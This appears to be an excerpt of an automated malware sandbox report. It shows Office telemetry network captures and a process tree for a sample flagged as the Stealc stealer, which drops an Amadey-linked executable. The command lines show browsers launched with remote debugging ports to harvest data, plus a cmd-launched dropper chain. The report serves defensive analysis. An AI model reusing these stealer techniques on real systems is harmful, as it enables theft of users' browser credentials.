2024-11-17 23:27:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7b0cde1b-901e-005b-3fc4-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232745Z-16547b76f7fz92z5hC1DFWmdx8000000037g00000000fszu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:45 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:45 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232745Z-1866b5c5fbbtpjhjhC1DFWr6tw00000004ug00000000ksdz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:45 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:45 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 78bc729c-601e-0070-22ad-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232745Z-164f84587bf7k72dhC1DFWvczs0000000510000000006h6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:45 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:45 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:45 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232745Z-16547b76f7fp6s5dhC1DFWe28g000000025g00000000k4cq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:45 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:45 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:45 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:45 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: ecab8261-801e-00a3-2dbb-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232745Z-1866b5c5fbbkcpv2hC1DFWf1yc000000050000000000f3rv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:45 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:46 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:46 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 15572004-d01e-002b-5493-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232746Z-164f84587bfh9nvdhC1DFWmce000000002v000000000k428 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:46 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:46 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:46 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 5ce9ffef-801e-0015-6fd2-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232746Z-1866b5c5fbbtpjhjhC1DFWr6tw0000000500000000002xhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:46 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:46 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:46 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 30f1e4c8-201e-005d-189b-38afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232746Z-1866b5c5fbblmztchC1DFWs6v400000003m0000000006h7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:46 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Target ID:	0
Start time:	18:27:17
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x10000
File size:	1'772'544 bytes
MD5 hash:	933DB1979EEE125501D5041FF0A81100
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2713835839.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2249922371.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:27:29
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:27:29
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1936,i,5678417622379381974,11452334284669709158,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:27:39
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:27:40
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2124,i,551240396681712199,14701134259884570719,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:27:40
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	18:27:40
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:27:44
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:27:44
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5400 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:27:45
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6856 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:27:45
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7024 --field-trial-handle=2012,i,2127837589118242186,4315115310641730846,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:28:04
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEGDGIIJJE.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:28:04
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:28:04
Start date:	17/11/2024
Path:	C:\Users\user\DocumentsJEGDGIIJJE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJEGDGIIJJE.exe"
Imagebase:	0x7b0000
File size:	1'950'720 bytes
MD5 hash:	9992A20ADD6571CE7C2B357B425E5445
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2799466109.00000000007B1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2712594211.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:28:12
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa50000
File size:	1'950'720 bytes
